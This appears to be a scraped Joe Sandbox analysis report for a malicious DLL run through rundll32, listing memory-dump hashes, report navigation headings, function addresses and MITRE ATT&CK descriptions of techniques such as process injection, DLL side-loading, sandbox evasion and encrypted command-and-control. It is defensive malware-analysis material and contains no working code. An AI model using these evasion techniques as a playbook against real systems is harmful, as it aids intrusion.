RCC, xrefs: 6F9E6EBE
MOC, xrefs: 6F9E6EB6

Memory Dump Source

Source File: 00000003.00000002.2054463329.000000006F9E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F9E0000, based on PE: true

Associated: 00000003.00000002.2054444227.000000006F9E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054497150.000000006F9FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054517477.000000006FA06000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2054541280.000000006FA08000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f9e0000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: b7ea80372e2aa32d0d273a24b643d8687a009bf4028ca506816135a60a3a3e41
Instruction ID: 628870d77b54a97706c25ce2e8683fb909baf9682ac22778a50da2ed3dd7031c
Opcode Fuzzy Hash: b7ea80372e2aa32d0d273a24b643d8687a009bf4028ca506816135a60a3a3e41
Instruction Fuzzy Hash: 1F415871910209AFDF06CF94C880AEE7BB9BF4A304F148499FA18AA291D335E960DB51

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QEydjQdRxs.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

Windows Analysis Report
QEydjQdRxs.dll

Function 6B921B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Function 6B924402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Function 6B92192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Function 6B924CA3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6B924D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6B924B9C Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6B930258 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 6B931658 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 6B921000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE